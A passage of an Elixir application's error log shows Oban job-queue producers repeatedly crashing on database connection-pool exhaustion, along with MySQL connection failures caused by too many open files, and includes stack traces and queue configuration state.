    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:47:36.245824Z], limit: 20, uuid: "c860f4d8-388b-479d-88f0-526087fee665", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:47:36.245830Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.244244>, refresh_timer: #Reference<0.2525715032.1121189889.93817>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:47:48.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 873ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:47:36.240218Z], limit: 50, uuid: "26efe5c4-418c-414f-bae3-88f2692ccf61", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:47:36.240224Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.93819>, refresh_timer: #Reference<0.2525715032.1077411843.217248>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:47:48.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1007ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:47:36.245261Z], limit: 5, uuid: "ec89176e-78ce-40d1-8751-850cecffb2d6", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:47:36.245267Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.93818>, refresh_timer: #Reference<0.2525715032.1077411843.217259>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:47:48.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1045ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:47:36.240105Z], limit: 5, uuid: "4a6c1c8e-691a-452b-9ef1-a350048f6396", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:47:36.240114Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.93824>, refresh_timer: #Reference<0.2525715032.1068236804.235776>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:47:48.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1016ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:47:36.245537Z], limit: 10, uuid: "8cb3ffda-af21-48e0-90e3-954693e8cb57", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:47:36.245542Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.244232>, refresh_timer: #Reference<0.2525715032.1099169794.244231>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:47:48.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1015ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:47:36.244756Z], limit: 3, uuid: "0d8f0be1-8e20-42aa-92ec-7fa85d527b8d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:47:36.244763Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.93825>, refresh_timer: #Reference<0.2525715032.1068236804.235786>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:47:48.993000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:47:51.383000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:47:52.154000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:47:53.692000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:47:54.151000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:47:55.397000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:47:58.840000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:48:00.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1021ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:47:48.241145Z], limit: 20, uuid: "1dd3d4fa-4d0d-40bb-bc25-f6cf892d4aa9", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:47:48.241151Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.94167>, refresh_timer: #Reference<0.2525715032.1121189889.94154>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:48:00.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 830ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:47:48.243474Z], limit: 3, uuid: "7653af79-3b86-41e4-83f8-51e9420c4b4c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:47:48.243479Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.94168>, refresh_timer: #Reference<0.2525715032.1068236804.235871>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:48:00.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1094ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:47:48.242502Z], limit: 10, uuid: "24bb8ae9-9fc7-4cd8-8295-5511f126556c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:47:48.242507Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.244300>, refresh_timer: #Reference<0.2525715032.1099169794.244299>, dispatch_cooldown: 5, running: %{}}
